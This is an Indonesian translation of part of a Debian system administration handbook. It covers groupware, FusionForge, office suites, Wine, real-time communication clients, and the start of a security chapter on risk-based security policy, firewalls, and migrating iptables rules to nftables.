Alat-alat groupware cenderung relatif rumit pemeliharaannya karena mereka menggabungkan beberapa alat dan memiliki persyaratan yang tidak selalu mudah untuk didamaikan dalam konteks distribusi yang terintegrasi. Dengan demikian ada daftar panjang paket-paket groupware yang pernah tersedia di Debian tetapi telah dikeluarkan karena kurangnya pengelola atau ketidakcocokan dengan perangkat lunak lain (yang lebih baru) di Debian. Ini kasus yang terjadi pada PHPGroupware, eGroupware, dan Kolab.

→ https://www.egroupware.org/

→ https://www.kolab.org/

Namun semua itu tidak hilang. Banyak fitur yang secara tradisional disediakan oleh perangkat lunak "groupware" semakin terintegrasi ke dalam perangkat lunak "standar". Ini mengurangi kebutuhan untuk perangkat lunak groupware spesifik yang terspesialisasi. Di sisi lain, hal ini biasanya memerlukan server tertentu. Citadel (dalam paket citadel-suite), Sogo (dalam paket sogo), dan Kopano (dalam paket kopano-core) adalah alternatif yang tersedia di Debian Buster.

13.7.2. Kolaborasi dengan FusionForge

FusionForge adalah alat pengembangan kolaboratif dengan sebagian nenek moyang dalam SourceForge, suatu layanan hosting untuk proyek-proyek perangkat lunak bebas. Itu menempuh pendekatan secara keseluruhan yang sama berdasarkan model pengembangan standar untuk perangkat lunak bebas. Perangkat lunak itu sendiri terus berkembang setelah kode SourceForge menjadi proprietari. Penulis awal, VA Software, memutuskan untuk tidak merilis lagi versi-versi lebih bebas. Hal yang sama terjadi lagi ketika fork pertama (GForge) mengikuti jalan yang sama. Karena berbagai orang dan organisasi telah berpartisipasi dalam pengembangan, FusionForge saat ini juga mencakup fitur penargetan pendekatan yang lebih tradisional untuk pengembangan, maupun proyek-proyek yang tidak murni mementingkan pengembangan perangkat lunak.

FusionForge dapat dilihat sebagai amalgamasi dari beberapa alat yang didedikasikan untuk mengelola, melacak, dan mengkoordinasikan proyek. Alat-alat ini dapat dikelompokkan menjadi tiga keluarga:

- komunikasi: forum web, manajer milis, dan sistem pengumuman yang memungkinkan sebuah proyek memublikasikan berita

- pelacakan: alat untuk melacak kemajuan proyek dan menjadwalkan tugas, untuk melacak bug, permintaan fitur, atau “tiket" jenis lain, dan untuk melakukan survei

- berbagi: manajer dokumentasi untuk menyediakan satu titik pusat bagi dokumen yang terkait dengan proyek, manajer rilis berkas generik, situs web khusus untuk setiap proyek.

Karena FusionForge terutama menargetkan proyek pembangunan, itu juga mengintegrasikan banyak alat seperti CVS, Subversion, Git, Bazaar, Darcs, Mercurial, dan Arch untuk manajemen kendali sumber (juga dinamai "manajemen konfigurasi" atau "kontrol versi"). Program ini menyimpan riwayat semua revisi dari semua berkas yang dilacak (seringkali berkas kode sumber), dengan semua perubahan yang mereka alami, dan mereka dapat menggabungkan modifikasi ketika beberapa pengembang bekerja secara bersamaan pada bagian yang sama dari sebuah proyek.

Sebagian besar alat ini dapat diakses atau bahkan dikelola melalui antarmuka web, dengan sistem perizinan halus, dan pemberitahuan surel untuk beberapa kejadian.

FusionForge bukan bagian dari Debian Stable. Ini adalah kumpulan perangkat lunak besar yang sulit untuk dipelihara dengan benar dan hanya bermanfaat bagi beberapa pengguna yang biasanya cukup ahli untuk dapat mem-backport paket dari Debian Unstable.

ALTERNATIF GitLab

FusionForge telah digunakan untuk mendukung platform alioth.debian.org yang digunakan oleh proyek Debian dan pengembangnya untuk manajemen dan pengembangan paket kolaboratif selama hampir satu dekade. Karena beberapa keterbatasan itu telah diganti dan ditutup pada tahun 2018 oleh layanan baru yang didukung oleh GitLab. Lihat bilah samping ALAT GitLab, hosting repositori Git dan lebih banyak lagi.

13.8. Keluarga Aplikasi Perkantoran

Perangkat lunak perkantoran telah lama dianggap kurang di dunia perangkat lunak bebas. Pengguna memerlukan pengganti untuk alat-alat Microsoft seperti Word dan Excel, tapi ini begitu kompleks sehingga pengganti sulit untuk dikembangkan. Keadaan berubah ketika Sun merilis kode StarOffice di bawah suatu lisensi bebas sebagai OpenOffice, suatu proyek yang kemudian melahirkan LibreOffice, yang tersedia di Debian. Proyek KDE juga memiliki keluarga aplikasi perkantoran mereka sendiri, dinamai Keluarga Calligra (sebelumnya KOffice), dan GNOME, walaupun tidak pernah menawarkan keluarga aplikasi perkantoran yang komprehensif, menyediakan AbiWord sebagai pengolah kata dan Gnumeric sebagai lembar kerja. Berbagai proyek memiliki kekuatan masing-masing. Sebagai contoh, lembar kerja Gnumeric lebih baik daripada OpenOffice.org/LibreOffice dalam beberapa domain, terutama presisi perhitungan. Di area pengolah kata, keluarga LibreOffice masih memimpin.

Fitur penting lainnya bagi pengguna adalah kemampuan untuk mengimpor dokumen Microsoft Office. Meskipun semua keluarga aplikasi perkantoran memiliki fitur ini, hanya yang di OpenOffice.org dan LibreOffice yang cukup fungsional untuk pemakaian sehari-hari.

PANDANGAN LEBIH LUAS LibreOffice menggantikan OpenOffice.org

Para kontributor OpenOffice.org menyiapkan suatu yayasan (The Document Foundation) untuk mendorong pengembangan proyek. Ide tersebut telah dibahas selama beberapa waktu, tetapi pemicu sebenarnya adalah akuisisi Oracle atas Sun. Kepemilikan yang baru membuat masa depan OpenOffice di bawah Oracle tidak pasti. Karena Oracle menolak untuk bergabung dengan yayasan, para pengembang harus menyerah pada nama OpenOffice.org. Keluarga aplikasi perkantoran tersebut sekarang dikenal sebagai LibreOffice, dan tersedia di Debian.

Setelah periode stagnasi relatif di OpenOffice.org, Oracle mendonasikan kode dan hak terkait ke Apache Software Foundation, dan OpenOffice sekarang menjadi sebuah proyek Apache. Proyek ini saat ini tidak tersedia di Debian dan agak sekarat jika dibandingkan dengan LibreOffice.

LibreOffice dan Keluarga Calligra tersedia masing-masing dalam paket Debian libreoffice dan calligra. Meskipun paket gnome-office sebelumnya digunakan untuk menginstal koleksi alat kantor seperti AbiWord dan Gnumeric, paket ini tidak lagi menjadi bagian dari Debian, dengan paket-paket individu sekarang berdiri sendiri.

Paket spesifik bahasa untuk LibreOffice didistribusikan dalam paket terpisah: terutama libreoffice-l10n-* dan libreoffice-help-*. Beberapa fitur seperti kamus ejaan, pola tanda hubung, dan tesaurus ada di paket-paket terpisah, seperti myspell-*/hunspell-*, hyphen-*, dan mythes-*.

13.9. Mengemulasi Windows: Wine

Terlepas dari semua upaya yang telah disebutkan sebelumnya, masih ada sejumlah alat tanpa padanan Linux, atau versi aslinya mutlak diperlukan. Di sinilah sistem emulasi Windows sangat berguna. Yang paling terkenal di antara mereka adalah Wine.

→ https://www.winehq.org/

KOMPLEMEN CrossOver Linux

CrossOver, yang diproduksi oleh CodeWeavers, adalah sekumpulan perbaikan atas Wine yang memperluas fitur teremulasi yang tersedia ke satu titik dimana Microsoft Office dapat digunakan sepenuhnya. Beberapa perbaikan secara berkala digabungkan ke Wine.

→ https://www.codeweavers.com/products/

Namun, orang harus mengingat bahwa ini hanyalah salah satu solusi, dan masalahnya juga bisa ditangani dengan mesin virtual atau VNC; kedua solusi ini dirinci di bilah sisi ALTERNATIF Mesin virtual dan ALTERNATIF Windows Terminal Server atau VNC .

Mari kita mulai dengan pengingat: emulasi memungkinkan mengeksekusi sebuah program (dikembangkan untuk sistem target) pada sistem host yang berbeda. Perangkat lunak emulasi menggunakan sistem host, dimana aplikasi berjalan, untuk meniru fitur yang dibutuhkan dari sistem target.

Sekarang mari kita pasang paket-paket yang dibutuhkan (ttf-mscorefonts-installer ada di bagian contrib):

# apt install wine ttf-mscorefonts-installer

Pada sistem 64 bit (amd64), jika aplikasi Windows adalah aplikasi 32 bit, maka Anda akan harus mengaktifkan multi-arch untuk dapat memasang wine32 dari arsitektur i386 (lihat Bagian 5.4.5, “Dukungan Multi-Arch”).

Kemudian pengguna perlu menjalankan winecfg dan mengkonfigurasi lokasi (Debian) mana yang dipetakan ke drive (Windows) mana. winecfg memiliki beberapa nilai baku yang waras dan bisa mendeteksi otomatis beberapa drive lain; perhatikan bahwa bahkan jika Anda memiliki sistem dual-boot, Anda harus tidak mengarahkan drive C: ke tempat di mana partisi Windows dikait di Debian, karena Wine boleh jadi menimpa sebagian data pada partisi tersebut, membuat Windows menjadi tidak dapat digunakan. Pengaturan lain dapat dipertahankan ke nilai-nilai baku mereka. Untuk menjalankan program Windows, Anda pertama kali perlu memasang mereka dengan menjalankan installer (Windows) di bawah Wine, dengan perintah seperti wine .../setup.exe; setelah program terpasang, Anda dapat menjalankannya dengan wine .../program.exe. Lokasi yang tepat dari berkas program.exe tergantung pada ke mana drive C: dipetakan; namun dalam banyak kasus, sekedar menjalankan wine program akan bekerja, karena program biasanya dipasang di suatu lokasi dimana Wine akan dapat mencari sendiri.

TIPS Mengatasi kegagalan winecfg

Dalam beberapa kasus, winecfg (yang hanya beruap bungkus) mungkin gagal. Untuk menyiasatinya, bisa dicoba untuk menjalankan perintah yang mendasarinya secara manual: wine64 /usr/lib/x86_64-linux-gnu/wine/wine/winecfg.exe.so atau wine32 /usr/lib/i386-linux-gnu/wine/wine/winecfg.exe.so .

Catat bahwa Anda tidak boleh mengandalkan Wine (atau solusi yang serupa) tanpa benar-benar menguji perangkat lunak tertentu: hanya uji penggunaan nyata yang akan menentukan secara meyakinkan apakah emulasi memang berfungsi sepenuhnya.

ALTERNATIF Mesin virtual

Sebuah alternatif untuk mengemulasi sistem operasi Microsoft adalah dengan benar-benar menjalankannya di mesin virtual yang mengemulasi mesin perangkat keras penuh. Hal ini memungkinkan menjalankan sistem operasi apapun. Bab 12, Administrasi Tingkat Lanjut menjelaskan beberapa sistem virtualisasi, terutama Xen dan KVM (tapi juga QEMU, VMWare, dan Bochs).

ALTERNATIF Windows Terminal Server atau VNC

Ada kemungkinan lain yaitu secara jarak jauh menjalankan aplikasi Windows warisan di server pusat dengan Windows Terminal Server dan mengakses aplikasi dari mesin Linux menggunakan rdesktop. Ini adalah klien Linux untuk protokol RDP (Remote Desktop Protocol/Protokol Desktop Jarak Jauh) yang menggunakan Server Terminal Windows NT/2000 untuk menampilkan desktop pada mesin remote.

Perangkat lunak VNC menyediakan fitur serupa, dengan manfaat tambahan juga bekerja dengan banyak sistem operasi. Klien dan server VNC Linux dijelaskan di Bagian 9.2, “Log Masuk Jarak Jauh”.

13.10. Perangkat lunak Komunikasi Real-Time

Debian menyediakan berbagai macam perangkat lunak klien Real-Time Communication (RTC). Setup server RTC didiskusikan dalam Bagian 11.8, “Layanan Komunikasi Real-Time”. Dalam terminologi SIP (Session Initiation Protocol), suatu peranti atau aplikasi klien juga dirujuk sebagai agen pengguna (user agent).

Setiap aplikasi klien bervariasi dalam fungsi. Beberapa aplikasi lebih mudah bagi pengguna obrolan intensif sementara aplikasi lainnya lebih stabil untuk pengguna webcam. Mungkin perlu untuk menguji beberapa aplikasi untuk mengidentifikasi mana yang paling memuaskan. Pengguna akhirnya dapat memutuskan bahwa mereka membutuhkan lebih dari satu aplikasi, misalnya, aplikasi XMPP untuk perpesanan dengan pelanggan dan aplikasi IRC untuk kolaborasi dengan beberapa komunitas daring.

Untuk memaksimalkan kemampuan pengguna untuk berkomunikasi dengan dunia yang lebih luas, dianjurkan untuk mengkonfigurasi klien SIP dan XMPP atau klien tunggal yang mendukung kedua protokol.

Desktop GNOME baku menyarankan klien komunikasi Empathy. Empathy dapat mendukung SIP dan XMPP. Mendukung pesan instan (IM), suara, dan video. Proyek KDE menyediakan KDE Telepathy, suatu klien komunikasi berbasis API Telepathy yang sama dengan yang digunakan oleh klien GNOME Empathy.

Alternatif yang populer untuk Empathy/Telepathy termasuk Ekiga, Linphone, Psi, dan Jami (sebelumnya dikenal sebagai Ring).

Beberapa dari aplikasi ini juga dapat berinteraksi dengan pengguna ponsel menggunakan aplikasi seperti Lumicall pada Android.

→ https://lumicall.org

Panduan Langsung-Pakai Komunikasi Real-Time memiliki satu bab didedikasikan untuk perangkat lunak klien.

→ http://rtcquickstart.org/guide/multi/useragents.html

TIP Mencari klien yang mendukung ICE dan TURN

Beberapa klien RTC memiliki masalah signifikan saat mengirimkan suara dan video melalui firewall dan jaringan NAT. Pengguna mungkin menerima panggilan hantu (telepon berdering mereka tetapi mereka tidak mendengar orang lain) atau mereka mungkin tidak dapat menelepon sama sekali.

Protokol ICE dan TURN dikembangkan untuk mengatasi masalah ini. Mengoperasi sebuah server TERN dengan alamat IP publik di setiap situs dan menggunakan perangkat lunak klien yang mendukung ICE dan TURN memberikan pengalaman pengguna yang terbaik.

Jika perangkat lunak klien hanya ditujukan untuk perpesanan instan, tidak ada persyaratan untuk dukungan ICE atau TURN.

Pengembang Debian mengoperasikan sebuah layanan SIP komunitas di rtc.debian.org. Komunitas memelihara wiki dengan dokumentasi tentang bagaimana menyiapkan banyak aplikasi klien yang dikemas dalam Debian. Artikel wiki dan cuplikan layar adalah sumber yang berguna bagi siapa pun yang menyiapkan layanan serupa pada domain mereka sendiri.

→ https://wiki.debian.org/UnifiedCommunications/DebianDevelopers/UserGuide

ALTERNATIF Internet Relay Chat

IRC juga dapat dipertimbangkan, selain SIP dan XMPP. IRC lebih berorientasi di sekitar konsep kanal, yang namanya dimulai dengan tanda pagar #. Masing-masing kanal biasanya ditujukan pada topik tertentu dan sejumlah orang dapat bergabung dengan sebuah kanal untuk membahas hal itu (tapi pengguna masih dapat memiliki percakapan pribadi satu-ke-satu jika diperlukan). Protokol IRC itu lebih tua, dan tidak mendukung enkripsi pesan end-to-end; masih dimungkinkan untuk mengenkripsi komunikasi antara pengguna dan server dengan protokol IRC di dalam SSL tunneling.

Klien IRC sedikit lebih rumit, dan mereka biasanya menyediakan banyak fitur yang kurang terpakai dalam lingkungan perusahaan. Misalnya, "operator" kanal adalah para pengguna diberi kemampuan untuk menendang pengguna lain dari saluran, atau bahkan melarang mereka secara permanen, ketika diskusi normal terganggu.

Karena protokol IRC sangat tua, banyak klien yang tersedia untuk melayani banyak kelompok pengguna; contoh termasuk XChat, Smuxi (klien grafis berbasis GTK+), Irrsi (mode teks), Circe (terintegrasi untuk Emacs), dan seterusnya.

Bab 14. Keamanan

Suatu sistem informasi bisa memiliki tingkat kepentingan yang bervariasi bergantung pada lingkungan. Dalam beberapa kasus, itu sangat penting untuk kelangsungan hidup perusahaan. Oleh karena itu harus dilindungi dari berbagai jenis risiko. Proses mengevaluasi risiko, menetapkan, dan melaksanakan perlindungan secara kolektif dikenal sebagai "proses keamanan".

14.1. Menentukan suatu Kebijakan Keamanan

PERINGATAN Cakupan bab ini

Keamanan adalah suatu subjek yang amat luas dan sangat sensitif, sehingga kami tidak bisa menyatakan menjelaskannya dengan cara yang komprehensif hanya dalam satu bab. Kami hanya akan menggambarkan beberapa hal yang penting dan menguraikan beberapa peralatan dan metode yang dapat dipergunakan dalam ranah keamanan. Untuk bacaan lebih lanjut, banyak literatur, dan buku-buku sepenuhnya dicurahkan ke masalah tersebut. Suatu titik awal yang sangat baik adalah Linux Server Security oleh Michael D. Bauer (diterbitkan oleh O'Reilly).

Kata "keamanan" itu sendiri mencakup rentang yang sangat luas dari konsep, peralatan dan prosedur, yang tidak satupun berlaku secara universal. Memilih di antara mereka memerlukan ide yang presisi tentang apa tujuan Anda. Mengamankan suatu sistem dimulai dengan menjawab beberapa pertanyaan. Terburu-buru mengimplementasi sebarang set peralatan akan berrisiko memfokuskan ke aspek keamanan yang salah.

Maka hal pertama yang perlu ditentukan adalah sasaran. Sebuah pendekatan yang baik untuk membantu penentuan itu dimulai dengan pertanyaan-pertanyaan berikut:

- Apa yang kita coba lindungi? Kebijakan keamanan akan berbeda bergantung kepada apakah kita ingin melindungi komputer atau data. Dalam kasus terakhir, kita juga perlu tahu data yang mana.

- Kita mencoba melindungi terhadap apa? Apakah kebocoran data konfidensial? Kehilangan data tanpa sengaja? Kehilangan pendapatan karena terputusnya layanan?

- Juga, kita mencoba melindungi terhadap siapa? Langkah-langkah keamanan akan sangat berbeda untuk melindungi terhadap salah ketik oleh pengguna biasa sistem dengan ketika melindungi dari kelompok penyerang yang bertekad kuat.

Istilah "risiko" lazim digunakan untuk merujuk secara kolektif kepada tiga faktor ini: apa yang harus dilindungi, apa yang perlu dicegah terjadi, dan siapa yang akan mencoba untuk membuat hal itu terjadi. Pemodelan risiko membutuhkan jawaban atas tiga pertanyaan ini. Dari model risiko ini, kebijakan keamanan dapat dibangun, dan kebijakan dapat diimplementasikan dengan tindakan-tindakan nyata.

CATATAN Mempertanyakan secara permanen

Bruce Schneier, pakar dunia dalam masalah keamanan (bukan hanya keamanan komputer) mencoba untuk melawan salah satu mitos keamanan paling penting dengan motto: "Keamanan adalah sebuah proses, bukan produk". Aset yang harus dilindungi berubah dengan berjalannya waktu, dan begitu juga ancaman dan cara yang tersedia bagi para penyerang. Meskipun kebijakan keamanan awalnya telah dirancang dan dilaksanakan dengan sempurna, kita tidak boleh pernah berhenti di satu pencapaian. Komponen risiko terus berkembang dan respon terhadap risiko juga harus berkembang menyesuaikan.

Tambahan kendala juga patut dipertimbangkan, karena mereka dapat membatasi rentang kebijakan yang tersedia. Sejauh apakah kita bersedia melangkah untuk mengamankan sistem? Pertanyaan ini memiliki dampak yang besar pada kebijakan yang diterapkan. Jawabannya terlalu sering hanya didefinisikan dalam hal biaya moneter, tapi elemen lain juga harus dipertimbangkan, seperti seberapa jauh ketidaknyamanan yang ditimbulkan pada pengguna sistem atau penurunan kinerja.

Setelah risiko dimodelkan, kita dapat mulai berpikir tentang merancang kebijakan keamanan yang sebenarnya.

CATATAN Kebijakan ekstrim

Ada kasus-kasus dimana pilihan tindakan yang diperlukan untuk mengamankan sistem ini sangat sederhana.

Misalnya, jika sistem yang akan dilindungi hanya terdiri dari komputer bekas, yang satu-satunya penggunaan adalah untuk menambahkan beberapa angka pada akhir hari, memutuskan untuk tidak melakukan sesuatu yang khusus untuk melindunginya akan cukup masuk akal. Nilai intrinsik sistem rendah. Nilai data adalah nol karena mereka tidak disimpan di komputer. Penyerang potensial yang menginfiltrasi "sistem" ini hanya akan mendapatkan kalkulator berat. Biaya untuk mengamankan sistem seperti itu mungkin akan lebih besar daripada biaya pelanggaran.

Di ujung lain spektrum, kita mungkin ingin untuk melindungi kerahasiaan data rahasia dengan cara yang sekomprehensif mungkin, mengalahkan pertimbangan lainnya. Dalam hal ini, respon yang tepat adalah penghancuran total data (secara aman menghapus berkas, memotong-motong hard disk menjadi butiran, lalu melarutkan butir-butir ini dalam asam, dan seterusnya). Jika ada persyaratan tambahan bahwa data harus disimpan untuk digunakan di masa depan (meskipun tidak selalu tersedia), dan jika biaya masih bukan merupakan faktor, maka titik awal adalah menyimpan data di piring alloy iridium-platinum yang disimpan dalam bunker tahan bom di bawah berbagai pegunungan di dunia, masing-masing (tentu saja) sepenuhnya rahasia dan dijaga oleh seluruh pasukan…

Meskipun contoh-contoh ini mungkin tampak ekstrim, mereka tetap merupakan respon yang memadai terhadap risiko yang didefinisikan, sejauh mereka adalah hasil dari suatu proses pemikiran yang memperhitungkan tujuan yang akan dicapai dan kendala-kendala yang perlu dipenuhi. Ketika datang dari keputusan yang beralasan, tidak ada kebijakan keamanan yang kurang terhormat daripada yang lain.

Dalam kebanyakan kasus, sistem informasi dapat disegmentasi dalam subset-subset yang konsisten dan sebagian besar independen. Masing-masing subsistem akan memiliki persyaratan dan batasan sendiri, sehingga penilaian risiko dan desain kebijakan keamanan harus dilakukan secara terpisah untuk masing-masing. Prinsip yang baik untuk diingat adalah bahwa perimeter yang pendek dan didefinisikan dengan baik lebih mudah untuk dipertahankan daripada sebuah perbatasan yang panjang dan berliku. Jaringan organisasi harus juga dirancang secara sesuai: layanan-layanan sensitif harus dikonsentrasikan pada sejumlah kecil mesin, dan mesin ini hanya boleh diakses melalui sejumlah minimal titik pemeriksaan; mengamankan titik-titik pemeriksaan ini akan lebih mudah daripada mengamankan semua mesin sensitif terhadap seluruh dunia luar. Pada titik ini tampak kegunaan penyaringan jaringan (termasuk oleh firewall) menjadi jelas. Penyaringan ini dapat dilaksanakan dengan perangkat keras khusus, tetapi solusi yang mungkin lebih sederhana dan lebih fleksibel adalah dengan menggunakan perangkat lunak firewall seperti yang terintegrasi dalam kernel Linux.

14.2. Firewall atau Penyaringan Paket

KEMBALI KE DASAR Firewall

Firewall adalah peralatan komputer dengan perangkat keras dan/atau perangkat lunak yang menyortir paket jaringan masuk atau keluar (datang ke atau dari jaringan lokal) dan hanya mengizinkan lewat paket-paket yang cocok dengan kondisi standar tertentu.

Firewall adalah gateway jaringan yang menyaring dan hanya efektif pada paket yang harus melaluinya. Oleh karenanya, itu hanya dapat efektif ketika melalui firewall adalah satu-satunya rute untuk paket-paket ini.

KASUS SPESIFIK Firewall Lokal

Firewall dapat dibatasi ke salah satu mesin tertentu (sebagai lawan dari jaringan yang lengkap), dalam hal ini perannya adalah untuk menyaring atau membatasi akses ke beberapa layanan, atau mungkin untuk mencegah hubungan keluar dari perangkat lunak nakal yang oleh pengguna, sengaja atau tidak, memasangnya.

Kernel Linux menyertakan firewall netfilter. Ini dapat dikontrol dari ruang pengguna dengan perintah iptables, ip6tables, arptables, dan ebtables.

Namun, perintah Netfilter iptables digantikan oleh nftables, yang menghindari banyak masalah. Desainnya melibatkan lebih sedikit duplikasi kode, dan dapat dikelola dengan hanya perintah nft. Debian Buster menggunakan kerangka kerja nftables secara default.

Untuk mengaktifkan firewall default di Debian, jalankan:

# apt install -y nftables

Reading package lists... Done

...

# systemctl enable nftables.service

Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.

14.2.1. Perilaku nftables

Ketika kernel mengolah paket jaringan itu berhenti dan memungkinkan kita untuk memeriksa paket dan memutuskan apa yang harus dilakukan dengan paket tersebut. Misalnya, kita mungkin ingin menjatuhkan atau membuang paket masuk tertentu, memodifikasi paket lainnya dengan berbagai cara, memblokir paket keluar tertentu untuk mengontrol malware atau mengalihkan beberapa paket pada tahap sedini mungkin untuk menjembatani antarmuka jaringan atau untuk menyebarkan beban paket yang masuk antar sistem.

Pemahaman yang baik dari layer 3, 4, dan 5 dari model OSI (Open System Interconnection) sangat penting untuk mendapatkan yang terbaik dari netfilter.

KULTUR Model OSI

Model OSI adalah model konseptual untuk mengimplementasikan protokol jaringan tanpa memperhatikan struktur internal dan teknologi yang mendasari. Tujuannya adalah interoperabilitas dari sistem komunikasi yang beragam dengan protokol komunikasi standar.

Model ini didefinisikan dalam standar ISO/EIC 7498. Berikut ini adalah tujuh lapisan yang diuraikan:

1. Fisik: transmisi dan penerimaan aliran bit mentah melalui media fisik

2. Data Link: transmisi frame data yang handal antara dua simpul yang terhubung oleh lapisan fisik

3. Jaringan: menata dan mengelola jaringan multi-simpul, termasuk pengalamatan, routing, dan kontrol lalu lintas

4. Transport: transmisi segmen data yang handal antar titik pada jaringan, termasuk segmentasi, acknowledgement, dan multiplexing

5. Session: mengelola sesi komunikasi, yaitu pertukaran informasi terus-menerus dalam bentuk beberapa transmisi bolak-balik antara dua node

6. Presentasi: penerjemahan data antara layanan jaringan dan aplikasi; termasuk pengkodean karakter, kompresi data dan enkripsi/dekripsi

7. Aplikasi: API tingkat tinggi, termasuk berbagi sumber daya, akses berkas jarak jauh.

Informasi lebih lanjut dapat ditemukan di Wikipedia:

→ https://en.wikipedia.org/wiki/Osi_model

Firewall dikonfigurasi dengan tabel, yang memegang aturan yang terkandung dalam rantai. Tidak seperti iptables, nftables tidak memiliki tabel default. Pengguna memutuskan mana dan berapa banyak tabel yang dibuat. Setiap tabel harus ditugaskan hanya ke satu dari lima keluarga berikut: ip, ip6, inet, arp dan bridge. ip digunakan jika keluarga tidak dinyatakan.

Ada dua jenis rantai: rantai dasar dan rantai reguler. Sebuah rantai dasar adalah titik masuk untuk paket dari tumpukan jaringan, mereka terdaftar ke dalam kait netfilter, yaitu, rantai ini melihat paket yang mengalir melalui tumpukan TCP/IP. Di sisi lain, dan rantai biasa tidak melekat pada hook apapun, sehingga mereka tidak melihat lalu lintas, tetapi dapat digunakan sebagai target melompat untuk pengorganisasian yang lebih baik.

Aturan yang terbuat dari pernyataan, yang mencakup beberapa ungkapan yang harus dicocokkan dan kemudian pernyataan putusan, seperti accept, drop, queue, continue, return, jump chain, dan goto chain.

KEMBALI KE DASAR ICMP

ICMP (Internet Control Message Protocol) merupakan protokol yang digunakan untuk mengirimkan informasi pelengkap pada komunikasi. Hal ini memungkinkan pengujian konektivitas jaringan dengan perintah ping (yang mengirim pesan permintaan echo ICMP, yang oleh penerima dimaksudkan untuk dijawab dengan pesan balasan echo ICMP). Itu menandakan bahwa firewall menolak paket, menunjukkan meluapnya penyangga penerima, mengusulkan rute yang lebih baik untuk paket-paket berikutnya dalam hubungan, dan seterusnya. Protokol ini didefinisikan oleh beberapa dokumen RFC; RFC777 awal dan RFC792 segera selesai dan diperpanjang.

→ http://www.faqs.org/rfcs/rfc777.html

→ http://www.faqs.org/rfcs/rfc792.html

Untuk referensi, suatu penyangga penerima adalah sebuah zona memori kecil yang menyimpan data antara saat itu datang dari jaringan dan saat kernel menanganinya. Jika zona ini penuh, data baru tidak dapat diterima, dan ICMP mengirim sinyal adanya masalah, sehingga pengirim dapat memperlambat laju transfer (yang idealnya harus mencapai suatu keseimbangan setelah beberapa waktu).

Perhatikan bahwa meskipun jaringan IPv4 dapat bekerja tanpa ICMP, ICMPv6 secara ketat diperlukan untuk jaringan IPv6, karena itu memadukan beberapa fungsi yang, di dunia IPv4, tersebar di ICMPv4, IGMP (Internet Group Membership Protocol), dan ARP (Address Resolution Protocol). ICMPv6 didefinisikan dalam RFC4443.

→ http://www.faqs.org/rfcs/rfc4443.html

14.2.2. Berpindah dari iptables ke nftables

Perintah iptables-translate dan ip6tables-translate dapat digunakan untuk menerjemahkan perintah iptables lama ke dalam sintaks nftables baru. Seluruh aturan juga dapat diterjemahkan, dalam hal ini kita memigrasi peraturan yang dikonfigurasi dalam satu komputer yang dipasangi Docker:

# iptables-save > iptables-ruleset.txt

# iptables-restore-translate -f iptables-ruleset.txt

# Translated by iptables-restore-translate v1.8.2 on Thu Jul 18 10:39:33 2019

add table ip filter

add chain ip filter INPUT { type filter hook input priority 0; policy accept; }

add chain ip filter FORWARD { type filter hook forward priority 0; policy drop; }

add chain ip filter OUTPUT { type filter hook output priority 0; policy accept; }

add chain ip filter DOCKER

add chain ip filter DOCKER-ISOLATION-STAGE-1

add chain ip filter DOCKER-ISOLATION-STAGE-2

add chain ip filter DOCKER-USER

add rule ip filter FORWARD counter jump DOCKER-USER

add rule ip filter FORWARD counter jump DOCKER-ISOLATION-STAGE-1

add rule ip filter FORWARD oifname "docker0" ct state related,established counter accept

add rule ip filter FORWARD oifname "docker0" counter jump DOCKER

add rule ip filter FORWARD iifname "docker0" oifname != "docker0" counter accept

add rule ip filter FORWARD iifname "docker0" oifname "docker0" counter accept

add rule ip filter DOCKER-ISOLATION-STAGE-1 iifname "docker0" oifname != "docker0" counter jump DOCKER-ISOLATION-STAGE-2

add rule ip filter DOCKER-ISOLATION-STAGE-1 counter return

add rule ip filter DOCKER-ISOLATION-STAGE-2 oifname "docker0" counter drop

add rule ip filter DOCKER-ISOLATION-STAGE-2 counter return

add rule ip filter DOCKER-USER counter return

add table ip nat

add chain ip nat PREROUTING { type nat hook prerouting priority -100; policy accept; }

add chain ip nat INPUT { type nat hook input priority 100; policy accept; }

add chain ip nat POSTROUTING { type nat hook postrouting priority 100; policy accept; }

add chain ip nat OUTPUT { type nat hook output priority -100; policy accept; }

add chain ip nat DOCKER

add rule ip nat PREROUTING fib daddr type local counter jump DOCKER

add rule ip nat POSTROUTING oifname != "docker0" ip saddr 172.17.0.0/16 counter masquerade

add rule ip nat OUTPUT ip daddr != 127.0.0.0/8 fib daddr type local counter jump DOCKER

add rule ip nat DOCKER iifname "docker0" counter return

# Completed on Thu Jul 18 10:39:33 2019

# iptables-restore-translate -f iptables-ruleset.txt > ruleset.nft

# nft -f ruleset.nft

# nft list ruleset

table ip filter {

chain INPUT {

type filter hook input priority 0; policy accept;

}

chain FORWARD {

type filter hook forward priority 0; policy drop;

counter packets 0 bytes 0 jump DOCKER-USER

counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1

oifname "docker0" ct state related,established counter packets 0 bytes 0 accept

oifname "docker0" counter packets 0 bytes 0 jump DOCKER

iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept

iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept

}

chain OUTPUT {

type filter hook output priority 0; policy accept;

}

chain DOCKER {

}

chain DOCKER-ISOLATION-STAGE-1 {

iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2

counter packets 0 bytes 0 return

}

chain DOCKER-ISOLATION-STAGE-2 {

oifname "docker0" counter packets 0 bytes 0 drop

counter packets 0 bytes 0 return

}

chain DOCKER-USER {

counter packets 0 bytes 0 return

}

}

table ip nat {

chain PREROUTING {

type nat hook prerouting priority -100; policy accept;

fib daddr type local counter packets 0 bytes 0 jump DOCKER

}

chain INPUT {

type nat hook input priority 100; policy accept;

}

chain POSTROUTING {

type nat hook postrouting priority 100; policy accept;

oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade

}

chain OUTPUT {

type nat hook output priority -100; policy accept;

ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER

}

chain DOCKER {

iifname "docker0" counter packets 0 bytes 0 return

}

}

table ip mangle {

chain PREROUTING {

type filter hook prerouting priority -150; policy accept;

}

chain INPUT {

type filter hook input priority -150; policy accept;

}

chain FORWARD {

type filter hook forward priority -150; policy accept;

}

chain OUTPUT {

type route hook output priority -150; policy accept;

}

chain POSTROUTING {

type filter hook postrouting priority -150; policy accept;

}

}

